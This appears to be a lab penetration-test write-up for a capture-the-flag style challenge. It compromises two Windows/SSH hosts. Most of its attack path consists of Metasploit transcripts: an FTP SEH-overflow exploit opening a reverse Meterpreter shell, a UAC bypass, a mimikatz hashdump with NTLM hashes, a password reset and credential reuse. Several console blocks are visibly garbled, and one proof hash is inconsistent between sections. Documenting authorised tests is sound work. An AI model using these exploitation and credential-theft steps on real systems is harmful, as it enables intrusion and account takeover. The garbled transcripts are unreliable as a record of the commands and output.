# puT-TY For The Proofs Dillon Wu

### **Executive Summary:**

The goal of the penetration testing was to identify all security flaws in the designated scope, to exploit these flaws in such a way that would grant access to the machines, and to find the hash values of proof.txt files. The engagement was carried out with approval from the PWN Challenge #1 client.

The main attack vector was the weak password protection deployed by the company. Publicly available exploits were used to break into the machines and achieve admin privilege in the machines. With admin privilege, I was able to bypass the firewall and obtain the proof.txt files in both hosts. I recommend that your organization work closely with the organization's security team to upgrade the company's password protection protocols.

## **Detailed Findings**

\*\*Severity levels are determined according to two primary factors: (1) Ease of security upgrade (2) Cost of not upgrading

Vulnerability Name: Anonymous FTP Login

Description: Anonymous FTP Login allows public users to login into the machine's FTP server using the username "anonymous" and any password. Anonymous login is generally enabled when you have a large number of users that all need to access similar files. Using this vulnerability, I was able to get into the machine with a meterpreter session.

Severity: 3/10; Anonymous login should be disabled unless there is a good reason to keep it.

Affected Hostname: 10.20.160.41

Recommended Mitigations: I recommend that the organization disable anonymous login. If the organization needs to enable anonymous login for commercial purposes, I recommend that any valuable information like the proof.txt file be secured by allowing access only at the admin level. Evidence:

### **Vulnerability Name:** Overflow in Konica Minolta Server 1.00

Description: The exploit used takes advantage of Structured Exception Handler (SEH) overflow vulnerability in the Konica Minolta Server 1.00. SEH was designed by Windows to handle segmentation faults, but the one utilized in Konica Minolta 1.00 does not check the input size of "cwd" (change working directory) commands, resulting in an overflow.

Severity: 10/10; Un-updated software is always a red flag, and is an easy problem to fix.

However, within the system, I still only had reduced privileges.

Affected Hostname: 10.20.160.41

Recommended Mitigations: Update the software for Konica Minolta.

#### Vulnerability Name: User Account Control (UAC) Bypass

Description: User Account Control is a security mechanism in Windows that prohibits unauthorized alterations to the operating system. UAC Bypass is a module in Metasploit that utilizes the trusted publisher certificate to create a second shell that turns the UAC flag off.

By turning the flag off, the anonymous user can be given admin privileges. As a result, the user can perform operations like changing the password on the machine, and using malicious executables.

Severity: 10/10; UAC Bypass allows for any user to escalate their privileges to get sensitive information the company may have.

Affected Hostname: 10.20.160.41

Recommended Mitigations: The UAC is broken down into three main options: (1) Always Notify (2) Notify Me When Programs Try to Make Changes to My Computer (3) Never Notify. The UAC Bypass exploit can only work on the (2) and (3). If there are valuable documents on the machine, enabling the Always Notify option will stop the exploit from occurring.

# Vulnerability Name: Password on Desktop

Description: A user named Jill left her password credentials on the desktop of Fred's machines. Using these credentials, I was able to connect to machine 10.20.170.87 by way of PuTTY. PuTTY is a terminal emulator and provides remote access to other desktops. It is generally paired in usage with Secure Socket Shell (ssh); the combination allows for a convenient and secure access portal to the remote desktop, and allows for a way to interchange the use of Windows and UNIX operating systems.

Severity: 10/10; Users should never leave their passwords on the desktop they are operating from.

Affected Hostname: 10.20.170.87

Recommended Mitigations: I recommend that employees at the company receive a background training module on basic security protocols. I am generally free on the weekends, and my rates are very reasonable.

#### Attack Path

First, an nmap scan was run to determine which ports on the machine were open.

After seeing that anonymous login was enabled on port 21, I used the exploit module kmftp utility cwd. This module exploits the overflow error in Konica Minolta Server 1.00.

```
msf auxiliary(
                                           traversal) > use exploit/windows/ftp/kmftp
utility_cwd
msf exploit(
    exploit(windows/ftp/kmftp_utility_cwd) > show op
Invalid parameter "op", use "show -h" for more information
                                              vd) > show options
Module options (exploit/windows/ftp/kmftp utility cwd):
   Name
              Current Setting
                                      Required Description
   FTPPASS
              mozilla@example.com
                                                  The password for the specified userna
   FTPUSER
              anonymous
                                      no
                                                  The username to authenticate as
                                                  The target address
   RHOST
                                      yes
   RPORT
              21
                                                  The target port (TCP)
                                      ves
```

```
msf exploit(windows/ftp/kmftp_utility_cwd) > set ftppass anonymous
ftppass => anonymous
msf exploit(windows/ftp/kmftp_utility_cwd) > set rhost 10.20.160.41 ordered in closed
msf exploit(windows/ftp/kmftp_utility_cwd) > set rhost 10.20.160.41 ordered in connect
msf exploit(windows/ftp/kmftp_utility_cwd) > run

[*] Started reverse TCP handler on 10.20.150.101:4444
[*] 10.20.160.41:21 - Sending exploit buffer...
[*] Sending stage (179779 bytes) to 10.20.160.41
[*] Meterpreter session 1 opened (10.20.150.101:4444 -> 10.20.160.41;49161) at 2019-07-06 00:44:30 -0400

After entering the meterpreter sessions, I was able to locate the first proof file on Fred's desktop.
```

```
meterpreter > cd Users
meterpreter > cd Desktop
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > cd Fred
meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Users\Fred\Desktop
_____
                          Type Last modified
Mode
                 Size
                                                          Name
                 7549391 fil
                                2005-02-05 09:24:00 -0500 FTPUtilitySetup.exe
100777/rwxrwxrwx
                          fil
                                                          Google Chrome.lnk
100666/rw-rw-rw-
                 2255
                                2017-11-02 16:33:25 -0400
                                2017-11-02 16:55:33 -0400
100777/rwxrwxrwx 54
                          fil
                                                          SSH.bat
100666/rw-rw-rw- 282
                          fil
                                2017-11-02 16:33:31 -0400
                                                          desktop ini
100666/rw-rw-rw- 32
                          fil
                                2017-11-02 16:25:21 -0400
                                                          proof.txt
<u>meterpreter</u> > type proof.txt
[-] Unknown command: type.
meterpreter > cat proof.txt
df5962c70blabac2c6d8e1c194d791ebmeterpreter > background
```

Using UACPass, I was able to elevate my admin privileges and create a second meterpreter session.

```
<u>meterpreter</u> > background
[*] Backgrounding session 1...
msf auxiliary(scanner/discovery/arp_sweet
                                           p) > use exploit/windows/local/bypassuac\underline{msf} exploit(windows/local/bypassuac) > show targets
Exploit targets:
   Id Name
       Windows x86
       Windows x64
msf exploit(windows/local/bypasswac) > show options
Module options (exploit/windows/local/bypassuac):
               Current Setting Required Description
   SESSION
                                            The session to run this module on.
                                 ves
   TECHNIQUE EXE
                                            Technique to use if UAC is turned off (Accepted: PSH, EXE)
Exploit target:
   Id Name
      Windows x86
```

```
msf exploit(windows/local/bypassuac) > set session 1

msf exploit(windows/local/bypassuac) > run

[*] Started reverse TCP handler on 10.20.150.101:4444

[*] UAC is Enabled, checking level...

[*] UAC is set to Default

[*] BypassUAC can bypass this setting, continuing...

[*] Part of Administrators group! Continuing...

[*] Uploaded the agent to the filesystem...

[*] Uploading the bypass UAC executable to the filesystem...

[*] Meterpreter stager executable 73802 bytes long being uploaded. 266/shikata_ga_nai_chosen with final_size_island size_of exe_file: 73802 bytes

[*] Meterpreter session 2 opened (10.20.150.101:4444 -> 10.20.160.41

**State of exe_file: 73802 bytes

**Tootokali:-# pwd

**Tootokali:-# | sate of exe_file: 73802 bytes

**Documents Music Public Tools

**Tootokali:-# | sate of exe_file: 73802 bytes

**Tootokali:-# | sate of exe_file: 73802 bytes
```

I then used netenum to find the host machine behind the firewall. Running nmap proved fruitless since the firewall filtered any packets coming from 10.20.150.101.

```
meterpreter > run netenum -ps -r 10.20.170.20-100

[*] Network Enumerator Meterpreter Script
[*] Log file being saved in /root/.msf4/logs/scripts/netenum/10.20.160.41
[*] Performing ping sweep for IP range 10.20.170.20-100
[*] 10.20.170.87 host found
ERROR: Consideration

ERROR: 127

Consideration

Consideration

ERROR: 127

Consideration


Consideration
```

Using portscan, I also found that port 22 was open.

With admin privileges, I used the exploitation package Kiwi to do a hashdump on the password and renamed the password for Fred's desktop "hi."

```
meterpreter > load kiwi
Loading extension kiwi...
            mimikatz 2.1.1 20180925 (x86/windows)
  "A La Vie, A L'Amour"
 .44 ^ 44.
 ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
                > http://blog.gentilkiwi.com/mimikatz
 ## \ / ##
 '## V ##'
                 Vincent LE TOUX
                                            ( vincent.letoux@gmail.com )
                 > http://pingcastle.com / http://mysmartlogon.com ***/
  Success.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
9c0:::
Fred:1004:aad3b435b51404eeaad3b435b51404ee:e4b88b1b22901e44a5d4b4527f7151b8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > password change -P hi -n e4b88b1b22901e44a5d4b4527f7151b8 -u Fred
[*] No server (-s) specified, defaulting to localhost.
[+] Success! New NTLM hash: 8b0bb72bb8c57a5531433b2ca933de88
```

With these tools, I utilized rdesktop to remotely log onto Fred's account, and opened the SSH.bat file to find Jill's username and password.



Finally, I executed the file to retrieve the proof.txt file on Jill's account.

ls proof.txt cat proof.txt 3e4d243042e6cfd5b939911b96f0e9ac echo Dillon Wu 7/19/2019 Dillon Wu 7/19/2019

**Technical Details** 

Hostname: 10.20.160.41

Open Ports: 21

Vulnerability Description: Anonymous login via port 21

Proof file: df5962c70b1abac2c6d8e1c194d781eb

Hostname: 10.20.170.87

Open Ports: 22

Vulnerability Description: Login via port 22 using Jill's credentials

Proof file: 3e4d243042e6cfd5b939911b96f0e9ac